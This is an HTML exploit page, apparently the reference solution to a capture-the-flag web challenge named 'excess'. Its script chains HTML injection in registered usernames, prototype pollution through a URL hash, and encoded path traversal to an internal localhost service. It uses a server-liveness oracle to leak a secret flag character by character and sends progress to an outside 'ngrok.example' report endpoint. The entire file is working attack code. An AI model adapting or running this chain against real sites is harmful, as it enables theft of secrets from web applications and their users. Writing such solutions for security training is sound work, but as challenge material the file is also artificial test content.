tasks/web/hard-excess/solution/exploit.html

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8"/>
        <title>exploit</title>
    </head>
    <body>
        <script>

const EXCESS_URL = 'http://excess.example:12345/';
const INTERNAL_EXCESS_URL = 'http://localhost:31337';

const REPORT_URL = 'http://ngrok.example:12345/report';

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));

const loadState = () => {
    const hash = location.hash.slice(1) || '{}';
    const state = JSON.parse(decodeURIComponent(hash));

    if (typeof state.prefix === 'undefined') {
        state.prefix = '{';
    }
    if (typeof state.index === 'undefined') {
        state.index = 0;
    }

    return state;
};

const saveState = (state) => {
    location.hash = encodeURIComponent(JSON.stringify(state));
    location.reload();
};

const report = value => {
    const data = encodeURIComponent(JSON.stringify(value));
    const url = `${REPORT_URL}?report=${data}`;

    return fetch(url, {
        method: 'GET',
        mode: 'no-cors',
    }).catch(() => { });
};

const register = credentials => {
    const url = `${EXCESS_URL}/api/register`;

    return fetch(url, {
        method: 'POST',
        body: credentials,
        mode: 'cors',
    }).then(x => true).catch(x => false);
};

const constructCredentials = prefix => {
    const random = Math.random().toString();

    const html = (
        `<object data='/api/messages?content=${prefix}'>` +
            `<img src='/api/message/${random}%ff' loading='lazy'>` +
        `</object>`
    );

    return `name=${html}&password=x`;
};

const constructPollution = credentials => {
    const pollution = [
        ['__proto__', 'headers', [['Range', 'bytes=17-']]],
        ['__proto__', 'method', 'POST'],
        ['__proto__', 'body', credentials],
    ];

    return JSON.stringify(pollution);
};

const livenessProbe = async results => {
    return fetch(EXCESS_URL, { method: 'HEAD', mode: 'cors', cache: 'no-store' })
            .then(_ => results.push('alive'))
            .catch(_ => results.push('dead'));
};

const startLivenessCheck = (ctx, timeout) => {
    ctx.probes = [];
    ctx.results = [];
    ctx.initialized = true;

    ctx.interval = setInterval(
        () => ctx.probes.push(livenessProbe(ctx.results)),
        timeout,
    );
};

const stopLivenessCheck = async ctx => {
    if (ctx.initialized !== true) {
        return;
    }

    clearInterval(ctx.inverval);
    await sleep(100);

    await Promise.all(ctx.probes);

    return ctx.results;
};

const testPrefix = async (wnd, prefix) => {
    const random = Math.random().toString();

    const credentials = constructCredentials(prefix);
    if (!(await register(credentials))) {
        return 'registration failed';
    }

    const pollution = constructPollution(credentials);
    
    const ctx = {};

    try {
        startLivenessCheck(ctx, 2);

        await sleep(100);

        const url = `${INTERNAL_EXCESS_URL}/message/${random}%2f..%2f..%2fregister#${encodeURIComponent(pollution)}`;
        wnd.location.href = url;

        await sleep(2000);
    } finally {
        await stopLivenessCheck(ctx);
    }

    if (ctx.results.some(result => result == 'dead')) {
        return false;
    }

    return true;
};

const main = async () => {
    const alphabet = '0123456789abcdef-}';

    const state = loadState();
    await report(state);

    const wnd = window.open();
    await sleep(1000);

    const symbol = alphabet[state.index];
    const new_prefix = state.prefix + symbol;

    let result = true;

    for (let i = 0; i < 5; i += 1) {
        if (!(await testPrefix(wnd, new_prefix))) {
            result = false;
            break;
        }
    }

    wnd.close();

    if (result) {
        state.prefix = new_prefix;
        state.index = 0;
    } else {
        state.index += 1;
    }

    saveState(state);
};

main()
    .catch(error => report({ error: error.toString(), stack: error.stack }));

        </script>
    </body>
</html>